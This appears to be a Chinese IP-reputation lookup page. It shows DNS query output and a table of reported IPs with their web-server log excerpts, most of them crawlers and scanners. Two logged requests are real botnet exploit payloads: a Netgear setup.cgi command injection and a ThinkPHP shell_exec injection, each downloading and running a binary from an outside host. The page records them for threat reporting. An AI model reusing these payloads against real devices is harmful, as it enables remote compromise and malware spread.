城市(city): unknown
省份(region): unknown
国家(country): China
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 122.235.26.5
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 2936
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;122.235.26.5. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025021500 1800 900 604800 86400
;; Query time: 36 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Feb 15 18:05:45 CST 2025
;; MSG SIZE rcvd: 105Host 5.26.235.122.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 5.26.235.122.in-addr.arpa: NXDOMAIN| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 195.231.6.16 | attack | 端口扫描，攻击IP |
2019-04-09 14:39:18 |
| 80.82.77.33 | bots | 80.82.77.33 - - [05/Apr/2019:13:44:18 +0800] "GET / HTTP/1.1" 200 10269 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36" 80.82.77.33 - - [05/Apr/2019:13:44:24 +0800] "" 400 0 "-" "-" 80.82.77.33 - - [05/Apr/2019:13:44:32 +0800] "" 400 0 "-" "-" 80.82.77.33 - - [05/Apr/2019:13:44:32 +0800] "" 400 0 "-" "-" 80.82.77.33 - - [05/Apr/2019:13:44:35 +0800] "" 400 0 "-" "-" 80.82.77.33 - - [05/Apr/2019:13:44:38 +0800] "quit" 400 182 "-" "-" 80.82.77.33 - - [05/Apr/2019:13:44:41 +0800] "GET /robots.txt HTTP/1.1" 200 292 "-" "-" 80.82.77.33 - - [05/Apr/2019:13:44:45 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 232 "-" "-" 80.82.77.33 - - [05/Apr/2019:13:44:45 +0800] "GET /sitemap.xml HTTP/1.1" 200 1425241 "-" "-" 80.82.77.33 - - [05/Apr/2019:13:44:46 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "python-requests/2.13.0" 80.82.77.33 - - [05/Apr/2019:13:44:47 +0800] "" 400 0 "-" "-" |
2019-04-05 13:47:49 |
| 71.6.167.142 | bots | 71.6.167.142 - - [08/Apr/2019:20:08:35 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 71.6.167.142 - - [08/Apr/2019:20:08:35 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "-" 71.6.167.142 - - [08/Apr/2019:20:08:36 +0800] "GET /sitemap.xml HTTP/1.1" 301 194 "-" "-" 71.6.167.142 - - [08/Apr/2019:20:08:36 +0800] "GET /.well-known/security.txt HTTP/1.1" 301 194 "-" "-" |
2019-04-08 20:17:40 |
| 180.97.35.149 | bots | 不是正常流量 180.97.35.149 - - [09/Apr/2019:06:37:37 +0800] "GET / HTTP/1.1" 301 194 "http://www.baidu.com/s?wd=widetme" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0" 180.97.35.164 - - [09/Apr/2019:06:37:38 +0800] "GET / HTTP/1.1" 200 3259 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0" 180.97.35.164 - - [09/Apr/2019:06:37:38 +0800] "GET /static/bootstrap/css/bootstrap.min.css HTTP/1.1" 200 144877 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0" |
2019-04-09 06:44:15 |
| 144.217.70.190 | attack | 144.217.70.190 - - [02/Apr/2019:09:51:04 +0800] "POST /xmlrpc.php HTTP/1.0" 404 468 "-" "Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)" 144.217.70.190 - - [02/Apr/2019:09:51:05 +0800] "POST /xmlrpc.php HTTP/1.0" 404 468 "-" "Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)" |
2019-04-02 10:21:51 |
| 212.156.221.177 | attack | 212.156.221.177 - - [02/Apr/2019:12:04:50 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://174.138.11.85/bins/September.mips%20-O%20/var/tmp/September.mips;%20chmod%20777%20/var/tmp/September.mips;%20/var/tmp/September.mips;%20rm%20-rf%20/var/tmp/September.mips&curpath=/¤tsetting.htm=1" 400 0 "-" "-" |
2019-04-02 12:05:51 |
| 45.40.194.24 | attack | 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMyAdmin1/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMyAdmin123/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /pwd/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMyAdmina/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMydmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMyAdmins/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" |
2019-04-03 06:19:58 |
| 207.46.13.239 | bots | 微软爬虫 207.46.13.239 - - [08/Apr/2019:08:24:31 +0800] "GET /check-ip/140.143.208.180 HTTP/1.1" 200 8658 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 207.46.13.239 - - [08/Apr/2019:08:24:31 +0800] "GET /check-ip/46.176.7.175 HTTP/1.1" 200 7632 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 207.46.13.239 - - [08/Apr/2019:08:24:31 +0800] "GET /check-ip/69.12.66.213 HTTP/1.1" 200 7890 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" |
2019-04-08 08:28:58 |
| 42.236.10.78 | botsnormal | 360爬虫还会搜索，似乎有人为痕迹，还是什么检查。。 42.236.10.78 - - [04/Apr/2019:11:02:06 +0800] "GET /?s=%E4%B9%A0%E8%BF%91%E5%B9%B3 HTTP/1.1" 200 11854 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" |
2019-04-04 11:08:59 |
| 118.190.84.33 | attack | 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:38 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:39 +0800] "POST /wuwu11.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 118.190.84.33 - - [04/Apr/2019:13:19:39 +0800] "GET /wuwu11.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" |
2019-04-04 13:26:43 |
| 42.156.254.59 | bots | 应该是yisou爬虫，但是不知道为啥400 42.156.254.59 - - [09/Apr/2019:14:25:31 +0800] "GET /wp-content/themes/twentyfifteen/genericons/genericons.css?ver=3.2 HTTP/1.1" 400 3429 "-" "-" 42.156.254.57 - - [09/Apr/2019:14:25:31 +0800] "GET /wp-content/plugins/wp-quicklatex/css/quicklatex-format.css?ver=5.1.1 HTTP/1.1" 400 3429 "-" "-" 42.156.254.59 - - [09/Apr/2019:14:25:31 +0800] "GET /wp-includes/css/dist/block-library/style.min.css?ver=5.1.1 HTTP/1.1" 400 3429 "-" "-" 42.156.254.60 - - [09/Apr/2019:14:25:32 +0800] "GET /wp-content/themes/twentyfifteen-child/style.css?ver=5.1.1 HTTP/1.1" 400 3429 "-" "-" |
2019-04-09 14:46:10 |
| 157.55.39.65 | bots | 157.55.39.37 - - [07/Apr/2019:09:58:35 +0800] "GET /robots.txt HTTP/1.1" 200 292 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 157.55.39.65 - - [07/Apr/2019:09:58:49 +0800] "GET /sitemap.xml HTTP/1.1" 200 1897320 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" |
2019-04-07 10:02:26 |
| 172.104.108.109 | bots | 172.104.108.109 - - [09/Apr/2019:18:20:18 +0800] "GET / HTTP/1.1" 301 194 "-" "Go-http-client/1.1" 172.104.108.109 - - [09/Apr/2019:18:20:19 +0800] "GET / HTTP/1.1" 200 3280 "http://118.25.52.138:80" "Go-http-client/1.1" |
2019-04-09 18:20:46 |
| 61.174.53.3 | attack | 61.174.53.3 - - [04/Apr/2019:14:03:05 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 61.174.53.3 - - [04/Apr/2019:14:03:05 +0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" |
2019-04-04 14:07:14 |
| 121.84.221.236 | attack | 121.84.221.236 - - [08/Apr/2019:19:53:14 +0800] "GET /index.php?s=/index/\\x09hink\\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.244.25.131/x86 -O .Akari; chmod +x .Akari; rm -rf .Akari x86; history -c -w;exit;logout;' HTTP/1.1" 400 182 "-" "Akari(selfrep)" |
2019-04-08 19:54:18 |